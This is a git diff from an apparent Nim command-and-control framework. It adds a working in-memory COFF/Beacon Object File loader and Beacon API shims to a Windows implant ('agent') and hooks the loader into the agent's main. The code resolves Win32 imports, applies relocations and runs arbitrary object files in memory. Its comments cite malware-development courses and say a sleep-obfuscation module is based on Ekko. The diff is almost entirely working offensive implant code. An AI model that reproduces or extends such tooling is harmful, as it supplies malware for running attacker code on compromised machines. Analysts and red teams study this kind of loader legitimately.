diff --git a/conquest.nimble b/conquest.nimble
index 77e98fc..36a439f 100644
--- a/conquest.nimble
+++ b/conquest.nimble
@@ -26,4 +26,5 @@ requires "parsetoml >= 0.7.2"
 requires "nimcrypto >= 0.6.4"
 requires "tiny_sqlite >= 0.2.0"
 requires "prologue >= 0.6.6" 
-requires "winim >= 3.9.4"
\ No newline at end of file
+requires "winim >= 3.9.4"
+requires "ptr_math >= 0.3.0"
\ No newline at end of file
diff --git a/src/agent/core/beacon.nim b/src/agent/core/beacon.nim
new file mode 100644
index 0000000..ff5477f
--- /dev/null
+++ b/src/agent/core/beacon.nim
@@ -0,0 +1,86 @@
+import winim/core
+
+# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim
+
+type va_list {.importc: "va_list", header: "<stdarg.h>".} = object
+proc puts(s: pointer): void {.importc, header: "<stdio.h>".}
+proc vprintf(format: pointer, args: va_list) {.importc, header: "<stdio.h>".}
+proc va_start(va: va_list, fmt: pointer) {.importc, header: "<stdarg.h>".}
+proc va_end(va: va_list): void {.importc, header: "<stdarg.h>".}
+
+type datap* {.pure.} = object
+    original: PCHAR
+    buffer: PCHAR
+    length: INT
+    size: INT
+
+const
+    CALLBACK_OUTPUT* = 0x0
+    CALLBACK_OUTPUT_OEM* = 0x1e
+    CALLBACK_OUTPUT_UTF8* = 0x20
+    CALLBACK_ERROR* = 0xd
+
+proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void =
+    if cast[int](parser) == 0:
+        return
+    parser.original = buffer
+    parser.buffer = buffer
+    parser.length = size - 4
+    parser.size = size - 4
+    parser.buffer = cast[PCHAR](cast[int](buffer) + 4)
+
+proc BeaconDataInt*(parser: ptr datap): INT =
+    var fourbyteint: INT = 0
+    if (parser.length < 4):
+        return 0
+    copyMem(fourbyteint.addr, parser.buffer, 4)
+    parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
+    parser.length = cast[INT](cast[int](parser.length) - 4)
+
+    return fourbyteint
+
+proc BeaconDataShort*(parser: ptr datap): SHORT =
+    var retvalue: SHORT = 0
+    if (parser.length < 2):
+        return 0
+    copyMem(retvalue.addr, parser.buffer, 2)
+    parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2)
+    parser.length = cast[INT](cast[int](parser.length) - 2)
+
+    return retvalue
+
+proc BeaconDataLength*(parser: ptr datap): INT =
+    return parser.length
+
+proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR =
+    var
+        length: INT = 0
+        outdata: PCHAR = nil
+
+    if (parser.length < 4):
+        return nil
+
+    copyMem(length.addr, parser.buffer, 4)
+    parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
+
+    outdata = parser.buffer
+    if (outdata == nil):
+        return nil
+
+    parser.length = cast[INT](cast[int](parser.length) - 4)
+    parser.length = cast[INT](cast[int](parser.length) - length)
+    parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length)
+
+    if (size != nil) and (outdata != nil):
+        size[] = length
+
+    return outdata
+
+proc BeaconOutput*(typ: int, data: pointer, length: int): void =
+    puts(data)
+
+proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} =
+    var va: va_list
+    va_start(va, fmt)
+    vprintf(fmt, va)
+    va_end(va)
\ No newline at end of file
diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim
new file mode 100644
index 0000000..213624f
--- /dev/null
+++ b/src/agent/core/coff.nim
@@ -0,0 +1,427 @@
+import winim/lean
+import os, strformat, strutils, ptr_math
+import ./beacon
+import ../../common/[types, utils, crypto]
+
+import sugar 
+
+#[
+    Object file loading involves the following steps
+    1. Calculate and allocate memory required to hold the object file sections and symbols
+    2. Copy option sections into the newly allocated memory
+    3. Parse and resolve function symbols 
+    4. Perform section relocations 
+    5. Change memory protection and execute the entry point function
+
+    References: 
+    - https://maldevacademy.com/new/modules/51
+    - https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/main.nim
+    - https://github.com/frkngksl/NiCOFF/blob/main/Main.nim 
+]#
+
+# Type definitions 
+type 
+    SECTION_MAP = object
+        base: PVOID
+        size: ULONG
+
+    PSECTION_MAP = ptr SECTION_MAP
+
+    OBJECT_CTX_UNION {.union.} = object 
+        base: ULONG_PTR
+        header: PIMAGE_FILE_HEADER
+
+    OBJECT_CTX {.pure.} = object 
+        union: OBJECT_CTX_UNION
+        symTbl: PIMAGE_SYMBOL 
+        symMap: ptr PVOID 
+        secMap: PSECTION_MAP
+        sections: PIMAGE_SECTION_HEADER
+
+    POBJECT_CTX = ptr OBJECT_CTX
+
+    # For entry point execution
+    EntryPoint = proc(args: PBYTE, argc: ULONG): void {.stdcall.}
+
+# Macro for page alignment ( important for calculating the total virtual memory required for the object file to be loaded and executed)
+# #define PAGE_ALIGN( x ) (((ULONG_PTR)x) + ((SIZE_OF_PAGE - (((ULONG_PTR)x) & (SIZE_OF_PAGE - 1))) % SIZE_OF_PAGE))
+const PAGE_SIZE = 0x1000
+template PAGE_ALIGN(address: auto): uint = 
+    if cast[uint](address) mod PAGE_SIZE == 0:
+        cast[uint](address)
+    else:
+        cast[uint](cast[uint](address) + ((PAGE_SIZE - ((cast[uint](address) and (PAGE_SIZE - 1))) mod PAGE_SIZE)))
+
+#[
+    Calculates required memory size 
+]#
+proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG = 
+
+    var 
+        objRel: PIMAGE_RELOCATION
+        objSym: PIMAGE_SYMBOL 
+        symbol: PSTR
+        length: ULONG
+
+    var sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
+
+    # Calculate size of the sections 
+    for i in 0 ..< int(objCtx.union.header.NumberOfSections): 
+        length += ULONG(PAGE_ALIGN(sections[i].SizeOfRawData))
+
+    # Calculate function map size 
+    for i in 0 ..< int(objCtx.union.header.NumberOfSections): 
+        objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
+
+        # Iterate over section relocations to retrieve symbols
+        for j in 0 ..< int(sections[i].NumberOfRelocations): 
+            objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))        
+            # dump objSym.repr
+
+            # Retrieve symbol name 
+            if objSym.N.Name.Short != 0: 
+                # Short name
+                symbol = cast[PSTR](addr objSym.N.ShortName)
+
+            else: 
+                # Long name
+                symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
+
+            # Check if symbol starts with `__ipm_` (imported functions)
+            if ($symbol).startsWith("__imp_"): 
+                length += ULONG(sizeof(PVOID))
+            # echo $symbol
+
+            # Handle next relocation item/symbol
+            objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
+
+    return ULONG(PAGE_ALIGN(length))
+
+#[
+    Symbol resolution
+]#
+proc strchr*(str: pointer, c: char): pointer =
+    var pStr = cast[ptr char](str)
+    while (pStr[] != '\0') and (pStr[] != c):
+        pStr = cast[ptr char](cast[int](pStr) + 1)
+
+    if pStr[] == c:
+        return cast[pointer](pStr)
+    else:
+        return nil
+
+proc objectResolveSymbol(symbol: var PSTR): PVOID = 
+
+    var 
+        resolved: PVOID 
+        function: PSTR 
+        library: PSTR 
+        pos: PCHAR 
+        buffer: array[MAX_PATH, char]
+        hModule: HANDLE
+
+    if symbol == NULL: 
+        return NULL 
+
+    # Remove the `__imp_` prefix from the symbol (6 bytes)
+    symbol = cast[PSTR](cast[uint](symbol) + 6)
+
+    # Check if the symbol is a Beacon API function
+    if ($symbol).startsWith(protect("Beacon")): 
+        case $symbol: 
+        of protect("BeaconDataParse"): 
+            resolved = BeaconDataParse
+        of protect("BeaconDataInt"):
+            resolved = BeaconDataInt
+        of protect("BeaconDataShort"):
+            resolved = BeaconDataInt
+        of protect("BeaconDataExtract"):
+            resolved = BeaconDataExtract
+        of protect("BeaconOutput"):
+            resolved = BeaconOutput
+        of protect("BeaconPrintf"):
+            resolved = BeaconPrintf
+    
+    else:
+        # Resolve a external Win32 API function
+        # For external APIs, we will need to parse symbols formatted as LIBRARY$Function
+    
+        zeroMem(addr buffer[0], MAX_PATH)
+        copyMem(addr buffer[0], symbol, ($symbol).len())
+
+        # Replace `$` to separate library and function
+        pos = cast[PSTR](strchr(addr buffer[0], '$'))
+        pos[] = '\0' 
+
+        library = cast[PSTR](addr buffer[0]) 
+        function = cast[PSTR](cast[uint](pos) + 1)
+
+        # Resolve the library instance 
+        hModule = GetModuleHandleA(library)
+        if hModule == 0:
+            hModule = LoadLibraryA(library)
+            if hModule == 0: 
+                raise newException(CatchableError, fmt"Library {$library} not found.")
+
+        # Resolve the function from the loaded library 
+        resolved = GetProcAddress(hModule, function)
+        if resolved == NULL: 
+            raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
+
+    echo fmt"    [>] {$symbol} @ 0x{resolved.repr}"
+
+    RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
+
+    return resolved
+
+#[
+    Object relocation
+    Arguments: 
+    - uType: Type of relocation to perform
+    - pRelocAddress: Address where the relocation will be applied
+    - pSecBase: Base address of the section in the newly allocated object file, where the relocation needs to occur
+]#
+proc objectRelocation(uType: ULONG, pRelocAddress: PVOID, pSecBase: PVOID) =
+    var
+        offset32: ULONG32
+        offset64: ULONG64
+
+    case(uType)
+    of IMAGE_REL_AMD64_REL32:
+       cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32)
+    of IMAGE_REL_AMD64_REL32_1:
+        cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 1)
+    of IMAGE_REL_AMD64_REL32_2:
+        cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 2)
+    of IMAGE_REL_AMD64_REL32_3:
+        cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 3)
+    of IMAGE_REL_AMD64_REL32_4:
+        cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 4)
+    of IMAGE_REL_AMD64_REL32_5:
+        cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 5)
+    of IMAGE_REL_AMD64_ADDR64:
+        cast[PUINT64](pRelocAddress)[] = cast[UINT64](cast[uint](cast[PUINT64](pRelocAddress)[]) + (cast[uint](pSecBase)))
+    else: discard
+
+#[
+    Section processing
+]#
+proc objectProcessSection(objCtx: POBJECT_CTX): bool = 
+    
+    var 
+        secBase: PVOID 
+        secSize: ULONG 
+        objRel: PIMAGE_RELOCATION
+        objSym: PIMAGE_SYMBOL
+        symbol: PSTR 
+        resolved: PVOID 
+        reloc: PVOID 
+        fnIndex: ULONG
+
+    var 
+        sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
+        secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
+        symMap = cast[ptr UncheckedArray[PVOID]](objCtx.symMap)
+
+    # Process and relocate object file sections
+    for i in 0 ..< int(objCtx.union.header.NumberOfSections): 
+        objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
+
+        # Iterate over section relocations to retrieve symbols
+        for j in 0 ..< int(sections[i].NumberOfRelocations): 
+            objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))        
+
+            # Retrieve symbol name 
+            if objSym.N.Name.Short != 0: 
+                # Short name
+                symbol = cast[PSTR](addr objSym.N.ShortName)
+
+            else: 
+                # Long name
+                symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
+
+            # Retrieve address to perform relocation
+            reloc = cast[PVOID](cast[uint](secMap[i].base) + uint(objRel.union1.VirtualAddress))
+            resolved = NULL 
+
+            # Check if symbol starts with `__ipm_` (imported functions)
+            if ($symbol).startsWith("__imp_"): 
+
+                # Resolve the imported function
+                resolved = objectResolveSymbol(symbol)
+                if resolved == NULL: 
+                    return false
+            
+            # Perform relocation on the imported function 
+            if (objRel.Type == IMAGE_REL_AMD64_REL32) and (resolved != NULL): 
+                symMap[fnIndex] = resolved 
+                cast[PUINT32](reloc)[] = cast[UINT32]((cast[uint](objCtx.symMap) + uint(fnIndex) * uint(sizeof(PVOID))) - cast[uint](reloc) - uint(sizeof(uint32)))
+                inc fnIndex
+
+            else: 
+                secBase = secMap[objSym.SectionNumber - 1].base
+
+                # Perform relocation on the section
+                objectRelocation(cast[ULONG](objRel.Type), reloc, secBase)
+
+            # Handle net relocation item/symbol
+            objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
+
+    return true
+
+#[
+    Object file execution
+    Arguments: 
+    - objCtx: Object context
+    - entry: Name of the entry function to be executed
+    - args: Pointer to the address of the arguments passed to the object file
+    - argc: Size of the arguments passed to the object file 
+]#
+proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool = 
+
+    var 
+        objSym: PIMAGE_SYMBOL
+        symbol: PSTR 
+        secBase: PVOID 
+        secSize: ULONG 
+        oldProtect: ULONG 
+
+    var secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
+
+    for i in 0 ..< int(objCtx.union.header.NumberOfSymbols): 
+        objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + i)     
+        
+        # Retrieve symbol name 
+        if objSym.N.Name.Short != 0: 
+            # Short name
+            symbol = cast[PSTR](addr objSym.N.ShortName)
+
+        else: 
+            # Long name
+            symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
+
+        # Check if the function is defined within the object file 
+        if ISFCN(objSym.Type) and ($symbol == $entry): 
+            # Change the memory protection of the section to make it executable 
+            secBase = secMap[objSym.SectionNumber - 1].base 
+            secSize = secMap[objSym.SectionNumber - 1].size
+
+            # Change the memory protection from [RW-] to [R-X]
+            if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0: 
+                raise newException(CatchableError, $GetLastError())
+
+            # Execute BOF entry point 
+            var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
+            entryPoint(args, argc)
+
+            # Revert the memory protection change
+            if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0: 
+                raise newException(CatchableError, $GetLastError())
+
+            return true
+
+    return false
+
+#[
+    Loads, parses and executes a object file in memory
+
+    Arguments:
+    - pObject: Base address of the object file in memory
+    - sFunction: Name of the function to be executed, usually "go"
+    - pArgs: Base address of the arguments to be passed to the function
+    - uArgc: Size of the arguments passed to the function
+]#
+proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool = 
+    
+    var 
+        objCtx: OBJECT_CTX
+        virtSize: ULONG
+        virtAddr: PVOID 
+        secSize: ULONG
+        secBase: PVOID 
+
+    if pObject == NULL or sFunction == NULL: 
+        raise newException(CatchableError, "Arguments pObject and sFunction are required.")
+
+    # Parsing the object file's file header, symbol table and sections
+    objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
+    objCtx.symTbl       = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
+    objCtx.sections     = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
+
+    # echo objCtx.union.header.repr
+    # echo objCtx.symTbl.repr
+    # echo objCtx.sections.repr
+
+    # Verifying that the object file's architecture is x64
+    when defined(amd64): 
+        if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64: 
+            raise newException(CatchableError, "Only x64 object files are supported")
+    else: 
+        raise newException(CatchableError, "Only x64 object files are supported")
+
+    # Calculate required virtual memory
+    virtSize = objectVirtualSize(addr objCtx)
+    echo fmt"[*] Virtual size of object file: {virtSize} bytes"
+
+    # Allocate memory 
+    virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
+    if virtAddr == NULL: 
+        raise newException(CatchableError, $GetLastError())
+
+    # Allocate heap memory to store section map array
+    objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
+    if objCtx.secMap == NULL: 
+        raise newException(CatchableError, $GetLastError())
+    
+    echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
+    
+    # Set the section base to the allocated memory
+    secBase = virtAddr
+
+    # Copy over sections into the newly allocated virtual memory
+    var 
+        sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
+        secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
+
+    echo "[*] Copying over sections."
+    for i in 0 ..< int(objCtx.union.header.NumberOfSections): 
+        secSize = sections[i].SizeOfRawData
+        secMap[i].size = secSize
+        secMap[i].base = secBase
+
+        # Copy over section data
+        copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
+        echo fmt"    [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
+
+        # Get the next page entry
+        secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
+
+    # The last page of the memory is the symbol/function map
+    objCtx.symMap = cast[ptr PVOID](secBase)
+
+    echo "[*] Processing sections and performing relocations."
+    if not objectProcessSection(addr objCtx): 
+        raise newException(CatchableError, "Failed to process sections.")
+
+    # Executing the object file 
+    echo "[*] Executing."
+    if not objectExecute(addr objCtx, sFunction, pArgs, uArgc): 
+        raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.")
+
+    return true
+
+proc test*() = 
+
+    var
+        fileName = "whoami.x64.o"
+        pObject = readFile(fileName)
+        uLength: ULONG = cast[ULONG](pObject.len)
+
+    echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
+
+    try: 
+        if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0): 
+            echo fmt"[-] Failed to inline-execute {fileName}"
+
+    except CatchableError as err:
+        echo "[-] ", err.msg
\ No newline at end of file
diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim
index e1da705..1bb41c7 100644
--- a/src/agent/core/sleepmask.nim
+++ b/src/agent/core/sleepmask.nim
@@ -3,8 +3,6 @@ import winim/inc/tlhelp32
 import os, system, strformat
 import ../../common/[types, utils, crypto] 
 
-import sugar
-
 # Sleep obfuscation implementation based on Ekko, originally developed by C5pider 
 # The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
 # https://maldevacademy.com/new/modules/54
diff --git a/src/agent/main.nim b/src/agent/main.nim
index 743cd96..e2fe8a7 100644
--- a/src/agent/main.nim
+++ b/src/agent/main.nim
@@ -1,6 +1,6 @@
 import strformat, os, times, system, base64
 
-import core/[http, context, sleepmask]
+import core/[http, context, sleepmask, coff]
 import protocol/[task, result, heartbeat, registration]
 import ../modules/manager
 import ../common/[types, utils, crypto]
@@ -69,5 +69,5 @@ proc main() =
         except CatchableError as err: 
             echo "[-] ", err.msg
           
-when isMainModule: 
+when isMainModule:
     main() 
\ No newline at end of file